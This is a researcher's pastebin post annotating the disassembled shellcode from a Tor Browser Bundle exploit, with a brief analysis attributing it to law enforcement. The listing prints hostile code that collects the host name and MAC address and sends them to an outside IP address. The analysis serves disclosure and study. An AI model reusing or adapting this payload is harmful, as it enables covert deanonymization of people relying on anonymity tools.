From Sludgy Pheasant, 6 Years ago, written in Plain Text.
Embed
  1. This is an annotation and very brief analysis of the payload used by the Tor Browser Bundle exploit. Earlier I pasted a dump here: http://pastebin.com/AwnzEpmX
  2.  
  3. Briefly, this payload connects to 65.222.202.54:80 and sends it an HTTP request that includes the host name (via gethostname()) and the MAC address of the local host (via calling SendARP on gethostbyname()->h_addr_list). After that it cleans up the state and appears to deliberately crash.
  4.  
  5. Because this payload does not download or execute any secondary backdoor or commands it's very likely that this is being operated by an LEA and not by blackhats.
  6.  
  7. Vlad Tsyrklevich
  8. @vlad902
  9.  
  10. A lightly annotated disassembly of the payload is included below (UPDATED 4/6 for clarity):
  11. $ ndisasm -k 0x90,1 -k 0x256,1 -u shellcode
  12. 00000000  60                pusha
  13. 00000001  FC                cld
  14. 00000002  E88A000000        call 0x91
  15. 00000007  60                pusha # win32 function resolver by @stephenfewer, used by Metasploit
  16. 00000008  89E5              mov ebp,esp
  17. 0000000A  31D2              xor edx,edx
  18. 0000000C  648B5230          mov edx,[fs:edx+0x30]
  19. 00000010  8B520C            mov edx,[edx+0xc]
  20. 00000013  8B5214            mov edx,[edx+0x14]
  21. 00000016  8B7228            mov esi,[edx+0x28]
  22. 00000019  0FB74A26          movzx ecx,word [edx+0x26]
  23. 0000001D  31FF              xor edi,edi
  24. 0000001F  31C0              xor eax,eax
  25. 00000021  AC                lodsb
  26. 00000022  3C61              cmp al,0x61
  27. 00000024  7C02              jl 0x28
  28. 00000026  2C20              sub al,0x20
  29. 00000028  C1CF0D            ror edi,0xd
  30. 0000002B  01C7              add edi,eax
  31. 0000002D  E2F0              loop 0x1f
  32. 0000002F  52                push edx
  33. 00000030  57                push edi
  34. 00000031  8B5210            mov edx,[edx+0x10]
  35. 00000034  8B423C            mov eax,[edx+0x3c]
  36. 00000037  01D0              add eax,edx
  37. 00000039  8B4078            mov eax,[eax+0x78]
  38. 0000003C  85C0              test eax,eax
  39. 0000003E  744A              jz 0x8a
  40. 00000040  01D0              add eax,edx
  41. 00000042  50                push eax
  42. 00000043  8B4818            mov ecx,[eax+0x18]
  43. 00000046  8B5820            mov ebx,[eax+0x20]
  44. 00000049  01D3              add ebx,edx
  45. 0000004B  E33C              jecxz 0x89
  46. 0000004D  49                dec ecx
  47. 0000004E  8B348B            mov esi,[ebx+ecx*4]
  48. 00000051  01D6              add esi,edx
  49. 00000053  31FF              xor edi,edi
  50. 00000055  31C0              xor eax,eax
  51. 00000057  AC                lodsb
  52. 00000058  C1CF0D            ror edi,0xd
  53. 0000005B  01C7              add edi,eax
  54. 0000005D  38E0              cmp al,ah
  55. 0000005F  75F4              jnz 0x55
  56. 00000061  037DF8            add edi,[ebp-0x8]
  57. 00000064  3B7D24            cmp edi,[ebp+0x24]
  58. 00000067  75E2              jnz 0x4b
  59. 00000069  58                pop eax
  60. 0000006A  8B5824            mov ebx,[eax+0x24]
  61. 0000006D  01D3              add ebx,edx
  62. 0000006F  668B0C4B          mov cx,[ebx+ecx*2]
  63. 00000073  8B581C            mov ebx,[eax+0x1c]
  64. 00000076  01D3              add ebx,edx
  65. 00000078  8B048B            mov eax,[ebx+ecx*4]
  66. 0000007B  01D0              add eax,edx
  67. 0000007D  89442424          mov [esp+0x24],eax
  68. 00000081  5B                pop ebx
  69. 00000082  5B                pop ebx
  70. 00000083  61                popa
  71. 00000084  59                pop ecx
  72. 00000085  5A                pop edx
  73. 00000086  51                push ecx
  74. 00000087  FFE0              jmp eax
  75. 00000089  58                pop eax
  76. 0000008A  5F                pop edi
  77. 0000008B  5A                pop edx
  78. 0000008C  8B12              mov edx,[edx]
  79. 0000008E  EB86              jmp short 0x16
  80. 00000090  skipping 0x1 bytes
  81. 00000091  5D                pop ebp
  82. 00000092  81BDE90200004745  cmp dword [ebp+0x2e9],0x20544547 # "GET "
  83.          -5420
  84. 0000009C  7570              jnz 0x10e
  85. 0000009E  8D85D1020000      lea eax,[ebp+0x2d1] "ws2_32"
  86. 000000A4  50                push eax
  87. 000000A5  684C772607        push dword 0x726774c # LoadLibraryA
  88. 000000AA  FFD5              call ebp
  89. 000000AC  85C0              test eax,eax
  90. 000000AE  745E              jz 0x10e
  91. 000000B0  8D85D8020000      lea eax,[ebp+0x2d8] "IPHLPAPI"
  92. 000000B6  50                push eax
  93. 000000B7  684C772607        push dword 0x726774c # LoadLibraryA
  94. 000000BC  FFD5              call ebp # ebp = find function
  95. 000000BE  85C0              test eax,eax
  96. 000000C0  744C              jz 0x10e
  97. 000000C2  BB90010000        mov ebx,0x190
  98. 000000C7  29DC              sub esp,ebx
  99. 000000C9  54                push esp
  100. 000000CA  53                push ebx
  101. 000000CB  6829806B00        push dword 0x6b8029 # WSAStartupA
  102. 000000D0  FFD5              call ebp
  103. 000000D2  01DC              add esp,ebx
  104. 000000D4  85C0              test eax,eax
  105. 000000D6  7536              jnz 0x10e
  106. 000000D8  50                push eax
  107. 000000D9  50                push eax
  108. 000000DA  50                push eax
  109. 000000DB  50                push eax
  110. 000000DC  40                inc eax
  111. 000000DD  50                push eax
  112. 000000DE  40                inc eax
  113. 000000DF  50                push eax
  114. 000000E0  68EA0FDFE0        push dword 0xe0df0fea # WSASocketA
  115. 000000E5  FFD5              call ebp
  116. 000000E7  31DB              xor ebx,ebx
  117. 000000E9  F7D3              not ebx
  118. 000000EB  39C3              cmp ebx,eax
  119. 000000ED  741F              jz 0x10e
  120. 000000EF  89C3              mov ebx,eax
  121. 000000F1  6A10              push byte +0x10
  122. 000000F3  8DB5E1020000      lea esi,[ebp+0x2e1] # struct sockaddr { AF_INET, 80, 65.222.202.54 }
  123. 000000F9  56                push esi
  124. 000000FA  53                push ebx
  125. 000000FB  6899A57461        push dword 0x6174a599 # connect
  126. 00000100  FFD5              call ebp
  127. 00000102  85C0              test eax,eax
  128. 00000104  741F              jz 0x125
  129. 00000106  FE8D89000000      dec byte [ebp+0x89] # Try to connect 5 times
  130. 0000010C  75E3              jnz 0xf1
  131. 0000010E  80BD4F02000001    cmp byte [ebp+0x24f],0x1
  132. 00000115  7407              jz 0x11e
  133. 00000117  E83B010000        call 0x257
  134. 0000011C  EB05              jmp short 0x123
  135. 0000011E  E84D010000        call 0x270
  136. 00000123  FFE7              jmp edi
  137. 00000125  B800010000        mov eax,0x100
  138. 0000012A  29C4              sub esp,eax
  139. 0000012C  89E2              mov edx,esp
  140. 0000012E  52                push edx
  141. 0000012F  50                push eax
  142. 00000130  52                push edx
  143. 00000131  68B649DE01        push dword 0x1de49b6 # gethostname
  144. 00000136  FFD5              call ebp
  145. 00000138  5F                pop edi
  146. 00000139  81C400010000      add esp,0x100
  147. 0000013F  85C0              test eax,eax
  148. 00000141  0F85F2000000      jnz near 0x239
  149. 00000147  57                push edi
  150. 00000148  E8F9000000        call 0x246 # strlen of gethostname
  151. 0000014D  5E                pop esi
  152. 0000014E  89CA              mov edx,ecx
  153. 00000150  8DBDE9020000      lea edi,[ebp+0x2e9]
  154. 00000156  E8EB000000        call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
  155. 0000015B  4F                dec edi
  156. 0000015C  83FA20            cmp edx,byte +0x20
  157. 0000015F  7C05              jl 0x166
  158. 00000161  BA20000000        mov edx,0x20
  159. 00000166  89D1              mov ecx,edx
  160. 00000168  56                push esi
  161. 00000169  F3A4              rep movsb
  162. 0000016B  B90D000000        mov ecx,0xd
  163. 00000170  8DB5C4020000      lea esi,[ebp+0x2c4] "\r\nCookie: ID="
  164. 00000176  F3A4              rep movsb
  165. 00000178  89BD4B020000      mov [ebp+0x24b],edi
  166. 0000017E  5E                pop esi
  167. 0000017F  56                push esi
  168. 00000180  68A9283480        push dword 0x803428a9 # gethostbyname
  169. 00000185  FFD5              call ebp
  170. 00000187  85C0              test eax,eax
  171. 00000189  0F84AA000000      jz near 0x239
  172. 0000018F  668B480A          mov cx,[eax+0xa]
  173. 00000193  6683F904          cmp cx,byte +0x4
  174. 00000197  0F829C000000      jc near 0x239
  175. 0000019D  8D400C            lea eax,[eax+0xc]
  176. 000001A0  8B00              mov eax,[eax]
  177. 000001A2  8B08              mov ecx,[eax]
  178. 000001A4  8B09              mov ecx,[ecx]
  179. 000001A6  B800010000        mov eax,0x100
  180. 000001AB  50                push eax
  181. 000001AC  89E7              mov edi,esp
  182. 000001AE  29C4              sub esp,eax
  183. 000001B0  89E6              mov esi,esp
  184. 000001B2  57                push edi
  185. 000001B3  56                push esi
  186. 000001B4  51                push ecx
  187. 000001B5  51                push ecx
  188. 000001B6  684872D2B8        push dword 0xb8d27248 # iphlpapi.dll!SendARP
  189. 000001BB  FFD5              call ebp
  190. 000001BD  85C0              test eax,eax
  191. 000001BF  81C404010000      add esp,0x104
  192. 000001C5  0FB70F            movzx ecx,word [edi]
  193. 000001C8  83F906            cmp ecx,byte +0x6
  194. 000001CB  726C              jc 0x239
  195. 000001CD  B906000000        mov ecx,0x6
  196. 000001D2  B810000000        mov eax,0x10
  197. 000001D7  29C4              sub esp,eax
  198. 000001D9  89E7              mov edi,esp
  199. 000001DB  89CA              mov edx,ecx
  200. 000001DD  D1E2              shl edx,1
  201. 000001DF  50                push eax
  202. 000001E0  52                push edx
  203. 000001E1  31D2              xor edx,edx
  204. 000001E3  8A16              mov dl,[esi]
  205. 000001E5  88D0              mov al,dl
  206. 000001E7  24F0              and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
  207. 000001E9  C0E804            shr al,0x4
  208. 000001EC  3C09              cmp al,0x9
  209. 000001EE  7704              ja 0x1f4
  210. 000001F0  0430              add al,0x30
  211. 000001F2  EB02              jmp short 0x1f6
  212. 000001F4  0437              add al,0x37
  213. 000001F6  8807              mov [edi],al
  214. 000001F8  47                inc edi
  215. 000001F9  88D0              mov al,dl
  216. 000001FB  240F              and al,0xf
  217. 000001FD  3C09              cmp al,0x9
  218. 000001FF  7704              ja 0x205
  219. 00000201  0430              add al,0x30
  220. 00000203  EB02              jmp short 0x207
  221. 00000205  0437              add al,0x37
  222. 00000207  8807              mov [edi],al
  223. 00000209  47                inc edi
  224. 0000020A  46                inc esi
  225. 0000020B  E2D4              loop 0x1e1
  226. 0000020D  59                pop ecx
  227. 0000020E  29CF              sub edi,ecx
  228. 00000210  89FE              mov esi,edi
  229. 00000212  58                pop eax
  230. 00000213  01C4              add esp,eax
  231. 00000215  8BBD4B020000      mov edi,[ebp+0x24b]
  232. 0000021B  F3A4              rep movsb
  233. 0000021D  C6854F02000001    mov byte [ebp+0x24f],0x1
  234. 00000224  E82E000000        call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
  235. 00000229  31C0              xor eax,eax
  236. 0000022B  50                push eax
  237. 0000022C  51                push ecx
  238. 0000022D  29CF              sub edi,ecx
  239. 0000022F  4F                dec edi
  240. 00000230  57                push edi
  241. 00000231  53                push ebx
  242. 00000232  68C2EB385F        push dword 0x5f38ebc2 # send
  243. 00000237  FFD5              call ebp
  244. 00000239  53                push ebx
  245. 0000023A  68756E4D61        push dword 0x614d6e75 # closesocket
  246. 0000023F  FFD5              call ebp
  247. 00000241  E9C8FEFFFF        jmp 0x10e
  248. 00000246  31C9              xor ecx,ecx
  249. 00000248  F7D1              not ecx
  250. 0000024A  31C0              xor eax,eax
  251. 0000024C  F2AE              repne scasb
  252. 0000024E  F7D1              not ecx
  253. 00000250  49                dec ecx
  254. 00000251  C3                ret
  255. 00000252  0000              add [eax],al
  256. 00000254  0000              add [eax],al
  257. 00000256  skipping 0x1 bytes
  258. 00000257  8DBDE9020000      lea edi,[ebp+0x2e9]
  259. 0000025D  E8E4FFFFFF        call 0x246
  260. 00000262  4F                dec edi
  261. 00000263  B94F000000        mov ecx,0x4f
  262. 00000268  8DB575020000      lea esi,[ebp+0x275]
  263. 0000026E  F3A4              rep movsb
  264. 00000270  8DBDE9020000      lea edi,[ebp+0x2e9]
  265. 00000276  E8CBFFFFFF        call 0x246
  266. 0000027B  C3                ret
  267. 0000027C  0D0A436F6E        or eax,0x6e6f430a
  268. 00000281  6E                outsb
  269. 00000282  656374696F        arpl [gs:ecx+ebp*2+0x6f],si
  270. 00000287  6E                outsb
  271. 00000288  3A20              cmp ah,[eax]
  272. 0000028A  6B656570          imul esp,[ebp+0x65],byte +0x70
  273. 0000028E  2D616C6976        sub eax,0x76696c61
  274. 00000293  650D0A416363      gs or eax,0x6363410a
  275. 00000299  657074            gs jo 0x310
  276. 0000029C  3A20              cmp ah,[eax]
  277. 0000029E  2A2F              sub ch,[edi]
  278. 000002A0  2A0D0A416363      sub cl,[0x6363410a]
  279. 000002A6  657074            gs jo 0x31d
  280. 000002A9  2D456E636F        sub eax,0x6f636e45
  281. 000002AE  64696E673A20677A  imul ebp,[fs:esi+0x67],dword 0x7a67203a
  282. 000002B6  69700D0A0D0A00    imul esi,[eax+0xd],dword 0xa0d0a
  283. 000002BD  83C70E            add edi,byte +0xe
  284. 000002C0  31C9              xor ecx,ecx
  285. 000002C2  F7D1              not ecx
  286. 000002C4  31C0              xor eax,eax
  287. 000002C6  F3AE              repe scasb
  288. 000002C8  4F                dec edi
  289. 000002C9  FFE7              jmp edi
  290. 000002CB  0D0A436F6F        or eax,0x6f6f430a
  291. 000002D0  6B69653A          imul ebp,[ecx+0x65],byte +0x3a
  292. 000002D4  204944            and [ecx+0x44],cl
  293. 000002D7  3D7773325F        cmp eax,0x5f327377
  294. 000002DC  3332              xor esi,[edx]
  295. 000002DE  004950            add [ecx+0x50],cl
  296. 000002E1  48                dec eax
  297. 000002E2  4C                dec esp
  298. 000002E3  50                push eax
  299. 000002E4  41                inc ecx
  300. 000002E5  50                push eax
  301. 000002E6  49                dec ecx
  302. 000002E7  0002              add [edx],al
  303. 000002E9  0000              add [eax],al
  304. 000002EB  50                push eax
  305. 000002EC  41                inc ecx
  306. 000002ED  DECA              fmulp st2
  307. 000002EF  3647              ss inc edi
  308. 000002F1  45                inc ebp
  309. 000002F2  54                push esp
  310. 000002F3  202F              and [edi],ch
  311. 000002F5  303563656134      xor [0x34616563],dh
  312. 000002FB  64652D39353164    gs sub eax,0x64313539
  313. 00000302  2D34303337        sub eax,0x37333034
  314. 00000307  2D62663866        sub eax,0x66386662
  315. 0000030C  2D66363930        sub eax,0x30393666
  316. 00000311  3535623237        xor eax,0x37326235
  317. 00000316  396262            cmp [edx+0x62],esp
  318. 00000319  204854            and [eax+0x54],cl
  319. 0000031C  54                push esp
  320. 0000031D  50                push eax
  321. 0000031E  2F                das
  322. 0000031F  312E              xor [esi],ebp
  323. 00000321  310D0A486F73      xor [0x736f480a],ecx
  324. 00000327  743A              jz 0x363
  325. 00000329  2000              and [eax],al
  326. 0000032B  0000              add [eax],al
  327. 0000032D  0000              add [eax],al
  328. 0000032F  0000              add [eax],al
  329. 00000331  0000              add [eax],al
  330. 00000333  0000              add [eax],al
  331. 00000335  0000              add [eax],al
  332. 00000337  0000              add [eax],al
  333. 00000339  0000              add [eax],al
  334. 0000033B  0000              add [eax],al
  335. 0000033D  0000              add [eax],al
  336. 0000033F  0000              add [eax],al
  337. 00000341  0000              add [eax],al
  338. 00000343  0000              add [eax],al
  339. 00000345  0000              add [eax],al
  340. 00000347  0000              add [eax],al
  341. 00000349  0000              add [eax],al
  342. 0000034B  0000              add [eax],al
  343. 0000034D  0000              add [eax],al
  344. 0000034F  0000              add [eax],al
  345. 00000351  0000              add [eax],al
  346. 00000353  0000              add [eax],al
  347. 00000355  0000              add [eax],al
  348. 00000357  0000              add [eax],al
  349. 00000359  0000              add [eax],al
  350. 0000035B  0000              add [eax],al
  351. 0000035D  0000              add [eax],al
  352. 0000035F  0000              add [eax],al
  353. 00000361  0000              add [eax],al
  354. 00000363  0000              add [eax],al
  355. 00000365  0000              add [eax],al
  356. 00000367  0000              add [eax],al
  357. 00000369  0000              add [eax],al
  358. 0000036B  0000              add [eax],al
  359. 0000036D  0000              add [eax],al
  360. 0000036F  0000              add [eax],al
  361. 00000371  0000              add [eax],al
  362. 00000373  0000              add [eax],al
  363. 00000375  0000              add [eax],al
  364. 00000377  0000              add [eax],al
  365. 00000379  0000              add [eax],al
  366. 0000037B  0000              add [eax],al
  367. 0000037D  0000              add [eax],al
  368. 0000037F  0000              add [eax],al
  369. 00000381  0000              add [eax],al
  370. 00000383  0000              add [eax],al
  371. 00000385  0000              add [eax],al
  372. 00000387  0000              add [eax],al
  373. 00000389  0000              add [eax],al
  374. 0000038B  0000              add [eax],al
  375. 0000038D  0000              add [eax],al
  376. 0000038F  0000              add [eax],al
  377. 00000391  0000              add [eax],al
  378. 00000393  0000              add [eax],al
  379. 00000395  0000              add [eax],al
  380. 00000397  0000              add [eax],al
  381. 00000399  0000              add [eax],al
  382. 0000039B  0000              add [eax],al
  383. 0000039D  0000              add [eax],al
  384. 0000039F  0000              add [eax],al
  385. 000003A1  0000              add [eax],al
  386. 000003A3  0000              add [eax],al
  387. 000003A5  0000              add [eax],al
  388. 000003A7  0000              add [eax],al
  389. 000003A9  0000              add [eax],al
  390. 000003AB  0000              add [eax],al
  391. 000003AD  0000              add [eax],al
  392. 000003AF  0000              add [eax],al
  393. 000003B1  0000              add [eax],al
  394. 000003B3  0000              add [eax],al
  395. 000003B5  0000              add [eax],al
  396. 000003B7  0000              add [eax],al
  397. 000003B9  0000              add [eax],al
  398. 000003BB  90                nop